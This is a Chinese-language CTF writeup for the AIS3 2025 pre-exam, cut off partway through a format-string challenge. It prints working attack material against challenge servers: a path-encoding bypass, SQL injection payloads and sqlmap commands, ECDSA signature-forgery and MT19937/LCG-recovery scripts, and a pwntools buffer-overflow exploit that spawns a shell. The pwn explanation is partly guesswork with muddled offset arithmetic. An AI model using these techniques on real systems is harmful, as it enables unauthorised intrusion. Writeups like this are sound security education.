# 2025 AIS3 Pre-exam Writeup
###### tag: `CTF`、`AIS3`
###### Author: `Bun_.`
## MISC
### WELCOME

但如果直接複製的話會拿到
```bash!
AIS3{This_Is_Just_A_Fake_Flag_~~}
```
所以就截圖再複製就好了
> #### flag: AIS3{Welcome_And_Enjoy_The_CTF_!}
### Ramen CTF

最喜歡看圖找地點的題目了(X
先從發票上的統編找
雖然沒有最後一位數但是從0到9一定有一家

查了一下地址 應該是叫**樂山溫泉拉麵**
然後用手機掃發票的拿到發票號碼
就可以查到點了什麼

欸不是蝦拉麵在紙本菜單上沒有欸!!
> #### flag: AIS3{樂山溫泉拉麵:蝦拉麵}
### AIS3 Tiny Server - Web / Misc
都到這步了但是還是做不出來

喔 我在耍白癡
如果直接點連結 會變成
```bash!
http://chals1.ais3.org:20152/readable_flag_LxS4JcxGzxvV1Sa5WVXFZY3kb0I
```
所以看不到flag
直接在瀏覽器打
```bash!
http://chals1.ais3.org:20152/%2f/readable_flag_LxS4JcxGzxvV1Sa5WVXFZY3kb0I
```
即可
~~我絕對不會說我在這裡卡了2天懷疑人生~~
> #### flag: AIS3{tInY_we8_53rVER_wITH_FIle_8r0Ws1ng_a5_@_feAtUr3}
## WEB
### Tomorin db 🐧
大概就是要拜訪`/flag`會被擋掉 被導去看youtube

因為這個
```go=
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
```
但是/flag是真的有flag的
所以只要繞過就好了
```bash=
curl http://chals1.ais3.org:30000/%2e/flag
```

> #### flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
### Login Screen 1
先說 我應該不是正規解XD
登入頁面 然後用`' UNION SELECT 1,2,'admin',4,5 --`
會得到

所以知道是SQL Injection
```bash=
sqlmap -u http://login-screen.ctftime.uk:36368/index.php \
--cookie="PHPSESSID=d47feb6177c...17c5a501c1" \
--data="username=TAGj&password=ljWd" \
--dbms=SQLite \
-T Users \
--columns \
--level=5 --risk=3 \
--threads=5 \
--time-sec=2 \
--fresh-queries
```

```bash=
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://login-screen.ctftime.uk:36368/index.php \
--cookie="PHPSESSID=..." \
--data="username=TAGj&password=ljWd" \
--dbms=SQLite \
-T Users \
--dump
```

然後他其實是弱密碼 `admin:admin`
所以結合爆破出來的2Fa即可
(其實那個000000蠻誤導的 還以為一定是6個字所以我還跑去爆破)

> #### flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}
#### 更 找到了正規解
因為太好奇如果是正常解的話要怎麼解了
就去嘗試了一下
發現了一個可能有點東西的cookies

試了幾次發現他應該是後臺會看這個PHPSESSID有沒有登入過 用什麼身分登入
因為如果登入到2fa的頁面就會無法回前頁了
意外發現如果是用沒有登入的PHPSESSID也可以看到用`guest`登入後的頁面

但它同時也說 `Undefined array key "username" in <b>/var/www/html/dashboard.php`
所以我就用`admin`登入 再次請求dashboard頁面就可以了

意外的很簡單欸!!
## Crypto
這次crypto怎麼感覺都好難
### Stream
~~上次AIS3學了 MT19937 所以就開始了找隨機數的旅程~~
:::spoiler 我是垃圾

左邊大概讓AI產了超多種方法跟猜測...
然後去找他到底哪裡在亂寫
最後終於搞出一個正確的腳本
:::
總之大概是
```bash!
1. os.urandom(True) → 只有256種可能的SHA512值
2. 輸出 = SHA512(1位元組) XOR (隨機數)²
3. 透過完全平方數檢測恢復隨機數
4. 用MT19937預測第81個隨機數
5. flag = flag_輸出 XOR (第81個隨機數)²
```
欸這真的是預期解嗎??
```python=
#!/usr/bin/env python3
import hashlib
import math
from randcrack import RandCrack
with open('output.txt', 'r') as f:
lines = f.read().strip().split('\n')
noise_lines = lines[:80]
flag_line = lines[80]
# 預計算所有256種可能的SHA512值
sha512_values = []
for i in range(256):
digest = hashlib.sha512(bytes([i])).digest()
sha512_values.append(int.from_bytes(digest))
print("正在恢復隨機數...")
# 恢復所有80個隨機數
recovered_randoms = []
for line in noise_lines:
output_value = int(line, 16)
for sha512_int in sha512_values:
b_squared = output_value ^ sha512_int
sqrt_b = math.isqrt(b_squared)
if sqrt_b * sqrt_b == b_squared:
recovered_randoms.append(sqrt_b)
break
print(f"恢復了 {len(recovered_randoms)} 個隨機數")
# 設定MT19937狀態恢復
rc = RandCrack()
# 提交前624個32位元值(前78個256位元值)
for i in range(78):
rand_val = recovered_randoms[i]
for j in range(8):
chunk = (rand_val >> (j * 32)) & 0xFFFFFFFF
rc.submit(chunk)
# 預測256位元值的函數
def predict_256bit():
result = 0
for i in range(8):
chunk = rc.predict_getrandbits(32)
result |= (chunk << (i * 32))
return result
# 跳過第79和80個值(驗證用)
predict_256bit()
predict_256bit()
# 預測第81個值並解密flag
predicted_81 = predict_256bit()
flag_output = int(flag_line, 16)
flag_value = flag_output ^ (predicted_81 ** 2)
# 解碼flag
for byte_length in range(10, 100):
try:
flag_bytes = flag_value.to_bytes(byte_length, 'big').rstrip(b'\x00')
flag_text = flag_bytes.decode('ascii', errors='ignore')
if 'AIS3{' in flag_text and '}' in flag_text:
start = flag_text.find('AIS3{')
end = flag_text.find('}', start) + 1
print(f"🎉 FLAG: {flag_text[start:end]}")
break
except:
continue
```
> #### flag: FLAG: AIS3{no_more_junks...plz}
### SlowECDSA
超好笑 這題放hard但結果一堆人寫
於是我就讓AI火力全開
啊....flag怎麼就這樣掉出來了 ~~(10分鐘)~~
我自首 這題我是看不懂啦.....
```python=
import socket
import hashlib
import re
from ecdsa import NIST192p
curve = NIST192p
order = curve.generator.order()
def connect_and_attack():
# 連接到服務器
host = "chals1.ais3.org"
port = 19000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# 接收歡迎消息
data = sock.recv(1024).decode()
print(data)
# 獲取第一個簽名
print("Getting first signature...")
sock.send(b"get_example\n")
data = sock.recv(1024).decode()
print(data)
# 解析第一個簽名
r1_match = re.search(r'r: (0x[0-9a-f]+)', data)
s1_match = re.search(r's: (0x[0-9a-f]+)', data)
if not r1_match or not s1_match:
print("Failed to parse first signature!")
return
r1 = int(r1_match.group(1), 16)
s1 = int(s1_match.group(1), 16)
print(f"First signature: r1={hex(r1)}, s1={hex(s1)}")
# 獲取第二個簽名
print("Getting second signature...")
sock.send(b"get_example\n")
data = sock.recv(1024).decode()
print(data)
# 解析第二個簽名
r2_match = re.search(r'r: (0x[0-9a-f]+)', data)
s2_match = re.search(r's: (0x[0-9a-f]+)', data)
if not r2_match or not s2_match:
print("Failed to parse second signature!")
return
r2 = int(r2_match.group(1), 16)
s2 = int(s2_match.group(1), 16)
print(f"Second signature: r2={hex(r2)}, s2={hex(s2)}")
# 計算攻擊
print("Performing attack...")
r_forge, s_forge = perform_attack(r1, s1, r2, s2)
if r_forge is None:
print("Attack failed!")
return
print(f"Forged signature: r={hex(r_forge)}, s={hex(s_forge)}")
# 驗證偽造的簽名
print("Submitting forged signature...")
sock.send(b"verify\n")
data = sock.recv(1024).decode()
print(data)
# 發送消息
sock.send(b"give_me_flag\n")
data = sock.recv(1024).decode()
print(data)
# 發送r
sock.send(f"{hex(r_forge)}\n".encode())
data = sock.recv(1024).decode()
print(data)
# 發送s
sock.send(f"{hex(s_forge)}\n".encode())
data = sock.recv(1024).decode()
print(data)
sock.close()
def perform_attack(r1, s1, r2, s2):
# LCG 參數
a = 1103515245
c = 12345
# 計算消息hash
example_msg = b"example_msg"
h1 = int.from_bytes(hashlib.sha1(example_msg).digest(), 'big') % order
h2 = h1 # 同樣的消息
target_msg = "give_me_flag"
h_target = int.from_bytes(hashlib.sha1(target_msg.encode()).digest(), 'big') % order
# 恢復私鑰
s1_inv = pow(s1, -1, order)
s2_inv = pow(s2, -1, order)
numerator = (a * h1 * s1_inv + c - h2 * s2_inv) % order
denominator = (r2 * s2_inv - a * r1 * s1_inv) % order
if denominator == 0:
print("Denominator is zero!")
return None, None
d = (numerator * pow(denominator, -1, order)) % order
print(f"Recovered private key: {hex(d)}")
# 恢復k1並預測k3
k1 = ((h1 + r1 * d) * s1_inv) % order
k2 = (a * k1 + c) % order
k3 = (a * k2 + c) % order
print(f"Predicted k3: {hex(k3)}")
# 偽造簽名
R = k3 * curve.generator
r_forge = R.x() % order
k3_inv = pow(k3, -1, order)
s_forge = (k3_inv * (h_target + r_forge * d)) % order
return r_forge, s_forge
if __name__ == "__main__":
connect_and_attack()
```
> #### flag: AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
### Random_RSA
```bash!
1. 從 output.txt 讀出 h0,h1,h2,以及 LCG 模數 M、RSA 公鑰 (n,e) 和密文 c。
2. 利用
Δ₁ = h₁−h₀,
Δ₂ = h₂−h₁,
在 mod M 下求
a ≡ Δ₂·Δ₁⁻¹,
b ≡ h₁−a·h₀。
3. p 與 q 是同一條 LCG 序列上連續兩個素數,滿足
p ≡ fʲ(seed) (mod M),
q ≡ f(p) (mod M)。
取 j=1,2,… 枚舉:令
A = aʲ mod M,
B = b·(A−1)·(a−1)⁻¹ mod M;
原式等價於在 mod M 下解
A·x² + B·x ≡ n (mod M)。
用 sqrt_mod 開模方求解後,測試哪個解能整除 n,就得到 p,進而 q = n/p。
4. 得到 p,q 後計算私鑰 d = e⁻¹ mod φ(n),再 pow(c,d,n) 就是 FLAG。
```
```python=
from sympy import sqrt_mod
from Crypto.Util.number import inverse, long_to_bytes
# 1. 讀取 output.txt
h = {}
with open("output.txt") as f:
for line in f:
k, v = line.strip().split(" = ")
h[k] = int(v)
h0, h1, h2 = h['h0'], h['h1'], h['h2']
m, n, e, c = h['M'], h['n'], h['e'], h['c']
# 2. 恢復 LCG(線性同餘生成器)的參數 a, b
Δ1 = (h1 - h0) % m
Δ2 = (h2 - h1) % m
a = Δ2 * inverse(Δ1, m) % m
b = (h1 - a * h0) % m
# 3. 枚舉 j,使 A·x² + B·x − n ≡ 0 (mod m) 有解,從中找到質因數 p
inv_am1 = inverse(a - 1, m)
A = 1
for j in range(1, 5000):
A = (A * a) % m
B = b * (A - 1) * inv_am1 % m
D = (B * B + 4 * A * n) % m
try:
roots = sqrt_mod(D, m, True) # 嘗試計算 D 的平方根(模 m)
except ValueError:
continue # 若無平方根,則跳過此次迴圈
inv2A = inverse(2 * A, m)
for r in roots:
p = ((-B + r) * inv2A) % m
if 1 < p < n and n % p == 0:
q = n // p # 找到符合條件的 p,計算 q
break
else:
continue
break
# 4. 計算私鑰 d,並解密密文
φ = (p - 1) * (q - 1)
d = inverse(e, φ)
flag = long_to_bytes(pow(c, d, n))
print("FLAG =", flag.decode())
```
> #### flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}
### Hill
```python=
import socket
import re
import numpy as np
import time
import os # Still used for os.linesep in some cases, though not critical here
# Constants
PRIME = 251
N = 8
REMOTE_HOST = "chals1.ais3.org"
REMOTE_PORT = 18000
PROMPT = b"input: " # The prompt the remote service waits for
# --- Helper Functions (largely unchanged) ---
def zero_vec(size=N):
return bytes([0] * size)
def unit_vec(j, size=N):
return bytes([1 if k == j else 0 for k in range(size)])
def parse_blocks(output_bytes: bytes) -> list:
blocks = []
text = output_bytes.decode('latin-1', errors='ignore')
for line in text.splitlines():
line = line.strip()
if line.startswith('[') and line.endswith(']'):
try:
nums_str = line[1:-1].strip().split()
if not all(s.isdigit() or (s.startswith('-') and s[1:].isdigit()) for s in nums_str):
continue
nums = [int(s) for s in nums_str]
if len(nums) == N:
blocks.append(np.array(nums, dtype=int))
except ValueError:
continue
return blocks
def matrix_mod_inverse(matrix, modulus):
A = np.array(matrix, dtype=np.int64)
n_val = A.shape[0]
identity = np.eye(n_val, dtype=np.int64)
aug = np.concatenate((A, identity), axis=1)
aug = aug % modulus
for i in range(n_val):
pivot_row_idx = i
if aug[i, i] == 0:
found_pivot = False
for k in range(i + 1, n_val):
if aug[k, i] != 0:
pivot_row_idx = k
found_pivot = True
break
if not found_pivot:
raise ValueError("Matrix is singular (cannot find non-zero pivot).")
aug[[i, pivot_row_idx]] = aug[[pivot_row_idx, i]]
aug = aug % modulus
pivot_val = aug[i, i]
try:
inv_pivot = pow(int(pivot_val), -1, int(modulus))
except ValueError:
raise ValueError(f"Cannot compute modular inverse for pivot {pivot_val} mod {modulus}.")
aug[i, :] = (aug[i, :] * inv_pivot) % modulus
for j in range(n_val):
if i != j:
factor = aug[j, i]
aug[j, :] = (aug[j, :] - factor * aug[i, :]) % modulus
A_inv = aug[:, n_val:] % modulus
return A_inv.astype(int)
def blocks_to_str(decrypted_blocks: list) -> str:
byte_data = b""
for block in decrypted_blocks:
byte_data += bytes(list(val % 256 for val in block))
byte_data = byte_data.rstrip(b'\x00')
try:
return byte_data.decode('utf-8')
except UnicodeDecodeError:
return byte_data.decode('latin-1', errors='ignore')
# --- RemoteChallenger Class for interacting with the remote service ---
class RemoteChallenger:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10.0) # Set a timeout for socket operations
try:
print(f" Connecting to {self.host}:{self.port}...")
self.sock.connect((self.host, self.port))
print(f" ✅ Connected.")
# Read everything up to and including the first "input: " prompt
self.initial_output_raw = self._read_until_prompt(timeout=10.0)
except socket.timeout:
raise TimeoutError(f"Timeout connecting or getting initial prompt from {self.host}:{self.port}")
except Exception as e:
raise RuntimeError(f"Failed to connect or get initial output from {self.host}:{self.port}: {e}") from e
def _recv_all(self, timeout=2.0):
"""Helper to receive all available data with a short timeout."""
self.sock.setblocking(False) # Non-blocking
total_data = b''
begin = time.time()
while True:
# If you got some data, then break after timeout
if total_data and time.time() - begin > timeout:
break
# If you got no data at all, wait a little longer
elif time.time() - begin > timeout * 2:
break
try:
data = self.sock.recv(8192)
if data:
total_data += data
begin = time.time() # Reset timer if data received
else:
time.sleep(0.01) # Slight pause if no data
except BlockingIOError: # No data available on non-blocking socket
time.sleep(0.01)
except socket.error: # Other socket errors
break
self.sock.setblocking(True) # Reset to blocking
return total_data
def _read_until_prompt(self, timeout: float = 10.0) -> bytes:
"""Reads from the socket until the PROMPT is encountered or timeout."""
buffer = b""
start_time = time.time()
self.sock.settimeout(timeout) # Set timeout for individual recv calls
try:
while PROMPT not in buffer:
if time.time() - start_time > timeout: # Overall timeout
raise TimeoutError(f"Timeout waiting for PROMPT. Buffer: {buffer!r}")
chunk = self.sock.recv(4096) # Read a chunk
if not chunk: # Connection closed by remote
raise EOFError(f"Connection closed by remote while waiting for PROMPT. Buffer: {buffer!r}")
buffer += chunk
finally:
self.sock.settimeout(10.0) # Reset to default timeout for the class
return buffer
def _read_response_after_send(self, timeout: float = 10.0) -> bytes:
"""Reads all output after sending data, as the remote might close or send a lot."""
# After sending, the remote service will print output.
# It might close the connection or just stop sending.
# We'll try to read all available data until a short timeout after last data received.
time.sleep(0.1) # Give a moment for remote to process and start outputting
return self._recv_all(timeout=2.0) # Use a shorter timeout for response gathering
def send_payload_and_get_response(self, payload_bytes: bytes) -> bytes:
"""Sends the payload string (as bytes) and reads the full response."""
try:
# Remote service expects a string ending with newline.
# The payload_bytes are raw bytes for str_to_blocks.
# We need to decode them to a string that chall.py's input() would get.
# latin-1 is suitable as it maps each byte 0-255 to a unique char.
payload_str = payload_bytes.decode('latin-1')
self.sock.sendall((payload_str + "\n").encode('latin-1')) # Send as latin-1 encoded bytes
except Exception as e:
raise IOError(f"Failed to send payload to remote: {e}") from e
return self._read_response_after_send(timeout=10.0)
def close(self):
"""Closes the socket connection."""
if self.sock:
try:
self.sock.shutdown(socket.SHUT_RDWR) # Gracefully shutdown
except Exception:
pass # Ignore errors if already closed or not connected
try:
self.sock.close()
except Exception:
pass # Ignore errors
self.sock = None
print(" 🔌 Connection closed.")
# --- Main Attack Logic (largely unchanged, uses RemoteChallenger) ---
if __name__ == "__main__":
print("🚀 Starting Hill Cipher Attack (REMOTE)...")
challenger = None
try:
# Use RemoteChallenger instead of Challenger
challenger = RemoteChallenger(REMOTE_HOST, REMOTE_PORT)
# 1. Get the encrypted flag from the initial output
print("1. Reading encrypted flag from remote service...")
flag_ciphertext_raw = challenger.initial_output_raw.split(PROMPT, 1)[0]
flag_ciphertext_blocks = parse_blocks(flag_ciphertext_raw)
if not flag_ciphertext_blocks:
raise ValueError(f"Could not parse encrypted flag blocks. Raw: {flag_ciphertext_raw.decode('latin-1',errors='ignore')}")
print(f" ✅ Encrypted flag has {len(flag_ciphertext_blocks)} blocks.")
# 2. Construct the special chosen plaintext
print("2. Constructing special chosen plaintext input...")
chosen_plaintext_bytes = b""
for j in range(N):
chosen_plaintext_bytes += zero_vec()
chosen_plaintext_bytes += unit_vec(j)
chosen_plaintext_bytes += unit_vec(j)
print(f" ✅ Chosen plaintext constructed ({len(chosen_plaintext_bytes)} bytes, {3*N} blocks).")
# 3. Send chosen plaintext and get its encryption
print("3. Sending chosen plaintext to remote and getting response...")
response_to_chosen_pt_raw = challenger.send_payload_and_get_response(chosen_plaintext_bytes)
C_chosen_blocks = parse_blocks(response_to_chosen_pt_raw)
if len(C_chosen_blocks) != 3 * N:
# Sometimes remote might send extra empty lines or other non-block data
print(f" ⚠️ Warning: Expected {3*N} ciphertext blocks, got {len(C_chosen_blocks)}. Will proceed if enough data.")
print(f" Raw response was:\n---\n{response_to_chosen_pt_raw.decode('latin-1', errors='ignore')}\n---")
if len(C_chosen_blocks) < 3 * N:
raise ValueError(f"Not enough blocks received. Expected {3*N}, got {len(C_chosen_blocks)}.")
print(f" ✅ Received {len(C_chosen_blocks)} (or more) ciphertext blocks for chosen plaintext.")
# 4. Recover matrices A and B
print("4. Recovering matrices A and B...")
A_recovered_cols = []
B_recovered_cols = []
for j in range(N):
C_3j_plus_1 = C_chosen_blocks[3*j + 1]
C_3j_plus_2 = C_chosen_blocks[3*j + 2]
A_col_j = C_3j_plus_1
A_recovered_cols.append(A_col_j)
B_col_j = (C_3j_plus_2 - C_3j_plus_1 + PRIME) % PRIME
B_recovered_cols.append(B_col_j)
A_matrix = np.array(A_recovered_cols).T % PRIME
B_matrix = np.array(B_recovered_cols).T % PRIME
print(" ✅ Matrix A recovered.")
print(" ✅ Matrix B recovered.")
# 5. Calculate A_inverse
print("5. Calculating A_inverse...")
A_inv_matrix = matrix_mod_inverse(A_matrix, PRIME)
print(" ✅ A_inverse calculated.")
# 6. Decrypt the flag
print("6. Decrypting the flag...")
decrypted_flag_blocks = []
P0_flag = (A_inv_matrix @ flag_ciphertext_blocks[0]) % PRIME
decrypted_flag_blocks.append(P0_flag)
for k in range(1, len(flag_ciphertext_blocks)):
prev_P_flag = decrypted_flag_blocks[k-1]
term_B_P_prev = (B_matrix @ prev_P_flag) % PRIME
C_k_flag = flag_ciphertext_blocks[k]
term_to_multiply = (C_k_flag - term_B_P_prev + PRIME) % PRIME
P_k_flag = (A_inv_matrix @ term_to_multiply) % PRIME
decrypted_flag_blocks.append(P_k_flag)
print(" ✅ Flag blocks decrypted.")
# 7. Convert decrypted blocks to string
final_flag_str = blocks_to_str(decrypted_flag_blocks)
print("\n🎉🎉🎉 Successfully Decrypted Flag 🎉🎉🎉")
print(f"🏁 FLAG: {final_flag_str}")
except socket.timeout:
print(f"\n❌ A socket timeout occurred during the attack.")
except EOFError as e:
print(f"\n❌ Connection closed unexpectedly: {e}")
except Exception as e:
print(f"\n❌ An error occurred during the attack: {e}")
import traceback
traceback.print_exc()
finally:
if challenger:
print("\n🔌 Closing down remote connection...")
challenger.close()
```
> #### flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}
## Reverse
### web flag checker
這題看其他人的討論好像一開始在解碼wasm檔案會遇到問題
但不知道為什麼我的載下來用vscode打開就是看得懂得所以www
他的加密機制是將 flag(長度為40字節)分成5個部分,每部分8字節
每個部分轉換為 64 位整數,然後通過位元循環左移操作進行加密
加密後的 5 個 64 位整數作為硬編碼值存儲在 WebAssembly 程式中
WebAssembly 程式中對每個部分使用不同的位移值,計算方式為:
```bash!
shift = (-39934163 >> (index * 6)) & 63
```
根據這個公式,5 個部分的位移值為:[45, 28, 42, 39, 61]
對每個加密後的 64 位整數進行循環右移操作,偏移量為對應的位移值
將結果轉換為 8 字節的字節序列(使用小端序)
將字節序列變為為 ASCII 字符然後拼接 5 個部分得到完整的 flag
```python=
import base64
def rotate_left(value, n):
"""將 64 位值循環左移 n 位"""
return ((value << n) | (value >> (64 - n))) & 0xFFFFFFFFFFFFFFFF
def rotate_right(value, n):
"""將 64 位值循環右移 n 位"""
return ((value >> n) | (value << (64 - n))) & 0xFFFFFFFFFFFFFFFF
vals = [
7577352992956835434,
7148661717033493303,
11365297244963462525,
10967302686822111791,
8046961146294847270
]
# 位移值保持不變
shifts = [45, 28, 42, 39, 61]
# 解密 flag
flag = ""
for i in range(5):
# 右旋轉來還原原始值
original = rotate_right(vals[i], shifts[i])
# 轉換為字節
byte_val = original.to_bytes(8, 'little')
# 嘗試解碼為 ASCII
part = byte_val.decode('ascii', errors='replace')
flag += part
# 直接印出完整的 flag
print("Flag:", flag)
```
> #### flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
### AIS3 Tiny Server - Reverse
笑死 我 AIS3 Tiny Server 還沒寫出來 這題先寫出來了
~~我絕對不會說是因為我都直接打server然後server一直斷線~~
總之 IDA
start -> 12B0 -> 2760 -> 2110 -> 1F90 -> 交給AI
```python=
import struct
# 從sub_1E20函數提取的整數值
v8_values = [
1480073267, # v8[0]
1197221906, # v8[1]
254628393, # v8[2]
920154, # v8[3]
1343445007, # v8[4]
874076697, # v8[5]
1127428440, # v8[6]
1510228243, # v8[7]
743978009, # v8[8]
54940467, # v8[9]
1246382110, # v8[10]
]
# 將整數轉換為字節(小端序)
encrypted_bytes = bytearray()
for value in v8_values:
encrypted_bytes.extend(struct.pack("<I", value))
# 加上v9
encrypted_bytes.extend(struct.pack("<H", 20)) # v9 = 20
# 確保我們只使用45字節
encrypted_bytes = encrypted_bytes[:45]
# 保存原始加密字節的副本
original_bytes = bytearray(encrypted_bytes)
# 密鑰
key = b"rikki_l0v3"
# 初始值
v1 = 0
v2 = 51 # 初始v2值
v3 = 114 # 初始v3值(r的ASCII值)
# 解密循環
while True:
# 計算解密值並存入encrypted_bytes
encrypted_bytes[v1] = v2 ^ v3
v1 += 1
if v1 == 45:
break
# 更新v2為下一個要解密的原始字節
v2 = original_bytes[v1]
# 更新v3為密鑰的下一個字節
v3 = key[v1 % 10]
# 將解密後的字節轉換為ASCII字符串
flag = encrypted_bytes.decode('ascii')
print(f"解密的標誌: {flag}")
```
> #### flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
### A_simple_snake_game
#### Way1
drawText:

```bash=
# hex_array1 的數據
hex_array1 = [
0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C, 0x46,
0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F, 0x93,
0x22, 0x55
]
# 加密的數據轉換為位元組
encrypted_data = [
-831958911, -1047254091, -1014295699, -620220219, 2001515017,
-317711271, 1223368792, 1697251023, 496855031, -569364828
]
encrypted_bytes = []
for val in encrypted_data:
val = val & 0xFFFFFFFF
encrypted_bytes.extend([
val & 0xFF,
(val >> 8) & 0xFF,
(val >> 16) & 0xFF,
(val >> 24) & 0xFF
])
# 添加最後的位元組
encrypted_bytes.extend([26365 & 0xFF, (26365 >> 8) & 0xFF, 40])
# XOR 解密
decrypted = []
for i in range(len(encrypted_bytes)):
decrypted_byte = encrypted_bytes[i] ^ hex_array1[i]
decrypted.append(chr(decrypted_byte))
decrypted_message = ''.join(decrypted)
print("解密訊息:", decrypted_message)
```
#### Way2
他理論上可以用Cheat Engine解
勝利條件:
* 分數 > 11,451,419
* 時間 > 19,810
但我不會 所以有人可以教我嗎拜託🥹
> #### flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}
## PWN
都不會寫 但謝謝AI教我 我之後再慢慢研究
### Welcome to the World of Ave Mujica🌙
1. IDA 靜態分析階段
首先用 IDA 打開程序
在 IDA 中分析主要函數
Step 1: 找到 main 函數
```bash!
# 檢查程序基本信息
file ./chal
checksec ./chal
```
IDA 會自動識別 main 函數
看到程序流程:輸出 banner → 詢問是否願意 → 讀取長度 → 讀取名字
Step 2: 識別關鍵函數
```bash!
// main 函數偽代碼
int main() {
// 一堆 printf 輸出 banner
printf("你願意把剩餘的人生交給我嗎?");
fgets(s, 8, stdin); // 讀取 yes/no
if (strcmp(s, "yes\n") == 0) {
printf("告訴我你的名字的長度: ");
int8 = read_int8(); // 關鍵:讀取長度
if (int8 > 143) { // 長度檢查
printf("我的意思就是你的名字太長了");
return 1;
}
printf("告訴我你的名字: ");
read(0, buf, int8); // 漏洞點:按用戶輸入的長度讀取
}
return 0;
}
```
Step 3: 發現後門函數 在 Functions 窗口中看到一個可疑函數:
```bash!
void Welcome_to_the_world_of_Ave_Mujica() {
execve("/bin/sh", 0, 0); // 直接給 shell!
}
```
地址是 0x401256
2. 漏洞分析
Stack Layout 分析
在 IDA 中查看 main 函數的 stack frame:
```bash!
[rbp-A0h] = buf[143] // 143字節緩衝區
[rbp-11h] = s[8] // 8字節用於存 yes/no
[rbp-9h] = int8 // 1字節存長度
[rbp-8h] = v7 // 8字節指針
[rbp+0] = saved_rbp // 8字節
[rbp+8] = return_addr // 8字節 <- 我們的目標
```
計算偏移量
```bash!
從 buf 開始到 return_addr 的距離:
buf[143] + padding + saved_rbp + return_addr
= 143 + 0x8F-0x90+8+8 // 計算實際對齊
= 143 + 17 + 8 = 168 字節
```
漏洞成因
```bash!
if (int8 > 143) { // 檢查
// 報錯退出
}
read(0, buf, int8); // 按 int8 長度讀取到 buf
```
問題:`read_int8()` 函數處理負數時有問題!
3. 突破點發現
測試 `read_int8()` 函數
```bash!
# 測試發現:
p.sendline(b"-1") # 負數輸入
```
原理:
* unsigned `__int8` 範圍是 0-255
* 當輸入 -1 時,可能被轉換為 255 或繞過檢查
* 檢查 `if (int8 > 143)` 可能只檢查正數
* 但 `read(0, buf, int8)` 使用了實際值
動態測試驗證
```bash!
# 測試各種輸入:
p.sendline(b"144") # -> "太長了"
p.sendline(b"143") # -> "太長了"
p.sendline(b"-1") # -> 程序繼續,要求輸入名字!
```
4. Exploit
為什麼是 168 字節?
```
1. IDA 中看 stack layout: buf 在 [rbp-A0h],return address 在 [rbp+8]
2. 計算: 0xA0 + 8 = 160 + 8 = 168
3. 動態驗證: 測試不同偏移量,168 是正確的
```
為什麼是 0x401256?
1. IDA Functions 窗口: 看到 Welcome_to_the_world_of_Ave_Mujica
2. 查看地址: 函數起始地址是 0x401256
3. 確認功能: 反彙編看到 execve("/bin/sh")
為什麼用負數?
```
1. 測試發現: 正數被長度檢查攔截
2. 負數繞過: -1 能通過檢查但讓 read() 讀取大量數據
3. 原因推測: unsigned char 轉換或檢查邏輯漏洞
```
5. 完整思路流程
```
1. IDA 靜態分析 → 發現後門函數和緩衝區溢出
2. 計算偏移量 → 168字節到達返回地址
3. 發現長度檢查 → 正常輸入被攔截
4. 測試邊界值 → 負數能繞過檢查
5. 構造exploit → 負數 + 168字節填充 + 後門地址
6. 成功getshell → 利用後門函數執行 /bin/sh
```
#### 腳本
```bash=
from pwn import *
p = remote("chals1.ais3.org", 60373)
p.sendlineafter(b'?', b"yes")
p.sendlineafter(b': ', b"-1")
p.sendlineafter(b': ', b'A' * 168 + p64(0x401256))
print("Shell ready!")
p.interactive()
```

> #### flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._46c6ae136d67b768701ea81334e50e59}
(是說我真的中了flag複製貼上不會是對的魔咒,於是又重開了一次去拿base64...)
### Format Number
#### 第一步:題目分析
首先看到題目給了一個binary和source code:
```c=
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
srand(time(NULL));
int number = rand();
int fd = open("/home/chal/flag.txt", O_RDONLY);
char flag[0x100] = {0}; // flag存在棧上!
read(fd, flag, 0xff);
close(fd);
char format[0x10] = {0};
printf("What format do you want ? ");
read(0, format, 0xf); // 讀取用戶輸入
check_format(format);
char buffer[0x20] = {0};
strcpy(buffer, "Format number : %3$");
strcat(buffer, format); // 用戶輸入直接拼接!
strcat(buffer, "d\n");
printf(buffer, "Welcome", "~~~", number); // 漏洞點!
return 0;
}
```
關鍵發現:
1. flag存在棧上 (char flag[0x100])
1. 用戶輸入直接進入printf的格式字符串
1. 這是典型的Format String漏洞
#### 第二步:理解漏洞機制
當我們輸入`123`時:
```bash!
buffer = "Format number : %3$123d\n"
printf(buffer, "Welcome", "~~~", number)
```
正常執行,顯示第3個參數。
當我們輸入`%20$`時:
```bash!
buffer = "Format number : %3$%20$d\n"
printf(buffer, "Welcome", "~~~", number)
```
這會讀取第20個棧位置的值!
#### 第三步:棧布局分析
程序運行時的棧布局(從高地址到低地址):
```bash!
[高地址]
...其他變量...
number (int)
fd (int)
flag[256] ← 我們的目標!
format[16]
buffer[32]
[低地址]
printf調用時的參數:
位置1: buffer (格式字符串指針)
位置2: "Welcome"
